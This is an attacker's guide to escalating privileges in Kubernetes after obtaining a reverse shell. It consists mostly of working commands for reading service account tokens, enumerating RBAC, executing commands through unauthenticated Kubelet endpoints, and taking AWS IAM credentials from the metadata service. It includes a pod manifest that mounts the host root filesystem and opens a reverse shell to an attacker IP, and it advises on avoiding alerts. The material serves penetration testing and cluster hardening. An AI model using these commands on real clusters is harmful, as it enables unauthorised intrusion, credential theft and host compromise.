Let’s say you got a reverse shell from a process running in a Kubernetes environment. This guide details the basic steps you can take to escalate your privileges within Kubernetes.
Are you in a Kubernetes environment? If yes, what’s the API server?
# by default, Kubernetes automounts default service account credentials # if you see /run/secrets/kubernetes.io/serviceaccount being mounted, you are in Kubernetes # if the hostPath root directorty is mounted, you can also see other service accounts' tokens belonging to other pods on the same node mount | grep secret # where is the KubeAPI server? env | grep KUBERNETES # kubeconfig files contain everything you need to communicate with the API server find / -name kubeconfig 2>/dev/null
Interacting with the KubeAPI server
# You can use curl but kubectl makes it a whole lot easier curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl # using the service account's token to interact with the API server alias k="kubectl --token=`cat /run/secrets/kubernetes.io/serviceaccount/token` --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server <API server>" # or alias k="kubectl --kubeconfig <path to kubeconfig file>"
k auth can-i --list # listing privileges on the current account k auth can-i create pods # checking if the current account can create pods k auth can-i exec pods # what about exec into pods? k get sa -A # can you list all service accounts in the cluster? k get ns # listing namespaces k get roles -A # listing roles k get rolebindings -A # listing role bindings k get clusterroles # listing cluster roles k get clusterrolebindings # listing cluster role bindings # understand the relationships between different roles/clusterroles and SAs in the cluster k get rolebindings,clusterrolebindings -A -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,ROLE/CLUSTERROLE:roleRef.name,SA:subjects[?(@.kind=="ServiceAccount")].name' # find out the privileges given to a role/clusterrole k get role <role> -n <namespace> -o yaml k get clusterrole <clusterrole> -o yaml # finding which SAs are assigned an IAM role within AWS k get sa -A -o=custom-columns=SA:metadata.name,NS:metadata.namespace,IAM-ROLE:"metadata.annotations.eks\.amazonaws\.com/role-arn" | grep -v "<none>" # finding which SAs are assigned to which pods k get pod -A -o=custom-columns=POD:metadata.name,NS:metadata.namespace,SA:spec.serviceAccount
Once you determine which SA has higher privileges, you can either:
- exec into a pod to which that SA is assigned if possible
- create a new pod and assign that SA to the new pod
You can use the following yaml template to create a new pod, assigned with a SA of your choice. This template also attempts to mount the host’s root filesystem on the container. Do note that pods are ephemeral and can be killed off by various reasons at any point. If you can, I’d go with Deployment or DaemonSet.
apiVersion: v1 kind: Pod metadata: name: evil-pod namespace: <namespace> spec: containers: - image: <your_image> name: evil-pod command: ["/bin/sh"] args: ["-c", "ncat <attacker_IP> <port> -e /bin/sh"] volumeMounts: - mountPath: /host name: host-root serviceAccount: <SA> volumes: - hostPath: path: / type: "" name: host-root
Interacting with Kubelet API
# getting the worker nodes' IPs k get pods -A -o wide # querying the list of pods on the node if Kubelet allows anonymous requests curl -k https://<worker_node>:10250/pods # executing commands inside the container curl -XPOST https://<worker_node>:10250/run/<namespace>/<pod>/<container> -d "cmd=ls -la /"
Accessing IAM role credentials
# query the metadata service from the pod for the worker node's IAM creds # it's better to use these temporary credentials from within AWS to avoid triggering alerts curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # if the pod is assigned an IAM role, you can assume the role and move over to AWS aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name <session name> --web-identity-token file://$AWS_WEB_IDENTITY_TOKEN_FILE --duration-seconds 1000 > /tmp/irp-cred.txt export AWS_ACCESS_KEY_ID="$(cat /tmp/irp-cred.txt | jq -r ".Credentials.AccessKeyId")" export AWS_SECRET_ACCESS_KEY="$(cat /tmp/irp-cred.txt | jq -r ".Credentials.SecretAccessKey")" export AWS_SESSION_TOKEN="$(cat /tmp/irp-cred.txt | jq -r ".Credentials.SessionToken")" env | grep AWS # proceed to enum/exploit AWS IAM privileges